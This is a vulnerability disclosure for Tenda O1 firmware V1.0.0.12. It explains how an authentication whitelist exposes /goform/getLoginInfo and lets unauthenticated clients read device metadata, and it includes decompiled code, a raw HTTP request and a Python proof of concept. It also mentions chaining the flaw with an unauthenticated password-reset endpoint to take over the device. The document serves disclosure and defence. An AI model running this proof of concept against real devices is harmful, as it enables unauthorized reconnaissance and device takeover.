Tenda O1 httpd formLogInfoGet function unauthenticated information disclosure vulnerability

Product Information

```
Brand: Tenda
Model: O1
Firmware Version: V1.0.0.12
Official Website: https://www.tenda.com.cn
Firmware Download URL: https://www.tenda.com.cn/store/products/146#downloads
```

Affected Component

```
The formLogInfoGet function (action name: getLoginInfo, address 0x0047F134)
in httpd
```

Suggested description of the vulnerability

```
Tenda O1 V1.0.0.12 httpd formLogInfoGet function has an unauthenticated
information
disclosure vulnerability.
```

Vulnerability Details

This firmware (Tenda O1, a heavily customized GoAhead 3.3.0) centralizes its authentication in the `authSecurityHandler` function (0x004A76AC), which runs before every route dispatch (`websRouteRequest` line 11280: `if ( authSecurityHandler(wp) )`). It maintains a source-IP login tracking table `loginUserInfo[10]`; any URL matching its whitelist is allowed by returning `1`, while everything else is redirected to the login page.

`/goform/getLoginInfo` is unconditionally included in that unauthenticated whitelist:

```
// Whitelist check in authSecurityHandler (0x004A76AC)
if ( !strcmp(urlbuf, "/favicon.ico")
  || !strncmp(urlbuf, "/goform/usbTest", 0x100u)
  || !strncmp(urlbuf, "/lang", 0x100u)
  || !strncmp(urlbuf, "/goform/getAdStatistics", 0x100u)
  || !strncmp(urlbuf, "/disable.asp", 0x100u)
  || !strncmp(g_default_pass, g_Pass_0, 0x80u) && !strncmp(urlbuf,
"/goform/telnet", 0x100u)
  || !strncmp(urlbuf, "/goform/getLoginInfo", 0x100u)   // <-
/goform/getLoginInfo unauthenticated
  || !strncmp(urlbuf, "/goform/getSysLogin", 0x100u)
  || !strncmp(urlbuf, "/goform/getQuickset", 0x100u)
  || !strncmp(urlbuf, "/goform/setQuickset", 0x100u)
  || !strncmp(urlbuf, "/password.html", 0xEu)
  || !strncmp(urlbuf, "/preTimeout.asp", 0x100u)
  || !strncmp(urlbuf, "/timeout.asp", 0x100u)
  || !strncmp(urlbuf, "/goform/getPreTimeoutNotify", 0x100u)
```

```
  || !strncmp(urlbuf, "/goform/getTimeoutNotify", 0x100u)
  || !strncmp(urlbuf, "/goform/ackPreTimeoutNotify", 0x100u)
  || !strncmp(urlbuf, "/goform/ate", 0x100u) )
{
  return 1;   // <- allowed directly; no login-state / session check at all
}
```

The action `getLoginInfo` is dispatched by `actionHandler` (0x00406DA0) to `formLogInfoGet` (0x0047F134). That handler reads several device configuration values from NVRAM and returns them in a JSON response without performing any authentication of its own:

```
void __cdecl formLogInfoGet(webs_t wp, char_t *path, char_t *query)
{
  ...
  root = cJSON_CreateObject();
  GetValue("sys.username", sys_usrname);
  GetValue("sys.userpass", sys_userpass);
  GetValue("wl2g.public.country_code", wl_country);
  GetValue("sys.targets", ap_name);
  if ( sys_usrname[0] )
    String = cJSON_CreateString("1");
  else
    String = cJSON_CreateString("0");
  cJSON_AddItemToObject(root, "hasUser", String);      // discloses whether admin username is set
  strcmp(sys_userpass, "YWRtaW4=");                    // result discarded (not returned)
  v4 = cJSON_CreateString("1");
  cJSON_AddItemToObject(root, "encode", v4);           // constant "1"
  v5 = cJSON_CreateString(wl_country);
  cJSON_AddItemToObject(root, "country", v5);          // discloses country code
  v6 = cJSON_CreateString(ap_name);
  cJSON_AddItemToObject(root, "apname", v6);           // discloses device name (sys.targets)
  out = cJSON_Object_2String(root);
  websTransfer(wp, out);                               // <- response (information disclosure)
}
```

The disclosed fields are device configuration values read directly from NVRAM:

- `hasUser` — whether the administrator username (`sys.username`) has been configured ("1" or "0").
- `country` — the configured region code (`wl2g.public.country_code`, e.g. "CN").
- `apname` — the device name (`sys.targets`).
- `encode` — a constant "1".

Note that although `sys.userpass` (the administrator password, stored base64-encoded) is read into `sys_userpass`, it is only compared against the literal `"YWRtaW4="` (base64 of "admin") and the comparison result is discarded; the password itself is **not** included in the JSON response. Therefore the disclosure is limited to device identity/configuration metadata (`hasUser`, `country`, `apname`).

The complete data flow is as follows:

```
GET /goform/getLoginInfo   (no authentication required, no request parameters)
    └── websRouteRequest()                        [0x00431190]  route dispatch entry
        └── authSecurityHandler()                 [0x004A76AC]  authentication gate
            └── strncmp(urlbuf, "/goform/getLoginInfo") matches whitelist -> return 1 (allowed without auth)
        └── actionHandler()                       [0x00406DA0]  /goform action dispatch
            └── formLogInfoGet(wp, "getLoginInfo", query)  [0x0047F134]
                └── GetValue("sys.username", sys_usrname)              -> disclosed as "hasUser"
                └── GetValue("sys.userpass", sys_userpass)             -> read, but NOT returned
                └── GetValue("wl2g.public.country_code", wl_country)   -> disclosed as "country"
                └── GetValue("sys.targets", ap_name)                   -> disclosed as "apname"
                └── cJSON_Object_2String(root) + websTransfer(wp, out)  -> response (information disclosure)
```

The involved check functions are as follows:

```
- authSecurityHandler(): the authentication gate that should block unauthenticated requests,
  but it unconditionally whitelists /goform/getLoginInfo and returns 1 (allowed) before any
  login-state check, which is the root cause of the vulnerability.
- formLogInfoGet(): performs no authentication/authorization of its own; it directly returns
  NVRAM configuration values (hasUser / country / apname) to the requester.
```

Attack

An unauthenticated remote attacker can issue a plain `GET /goform/getLoginInfo` request without any cookie, token or credentials. The device responds with a JSON object revealing device configuration metadata: whether an administrator username has been set (`hasUser`), the configured region (`country`), and the device name (`apname`). This information can be used for device fingerprinting and as a preliminary reconnaissance step in a larger attack chain (for example, combined with the unauthenticated `/goform/setQuickset` password-reset flaw to take over the device).

PoC

This is an unauthenticated (pre-authentication) vulnerability; no Token / Cookie is required.

Request:

```http
GET /goform/getLoginInfo HTTP/1.1
Host: 192.168.31.6
```

Example response:

```
HTTP/1.1 200 OK
Content-Type: application/json

{"hasUser":"1","encode":"1","country":"CN","apname":"Tenda_O1"}
```



Equivalent Python PoC (see `Tenda_O1_V1.0.0.12_httpd_unauth_goform_getLoginInfo.py`):

```python
import requests

req = {
    "method": "GET",
    "uri": "/goform/getLoginInfo",
    "header": "Host: 192.168.31.6",
    "body": "",
}

BASE_URL = "http://192.168.31.6"

def parse_headers(header_str: str) -> dict:
    headers = {}
    for line in header_str.splitlines():
        line = line.strip()
        if not line:
            continue
        key, _, value = line.partition(":")
        headers[key.strip()] = value.strip()
    return headers

url = BASE_URL + req["uri"]
headers = parse_headers(req["header"])
body = req["body"] or None

resp = requests.request(
    method=req["method"],
    url=url,
    headers=headers,
    data=body,
    timeout=10,
    verify=False,
)

print("URL:", resp.url)
print("Status code:", resp.status_code)
print("Response headers:", dict(resp.headers))
print("Response body:", resp.text)
```

Discoverer

Zippy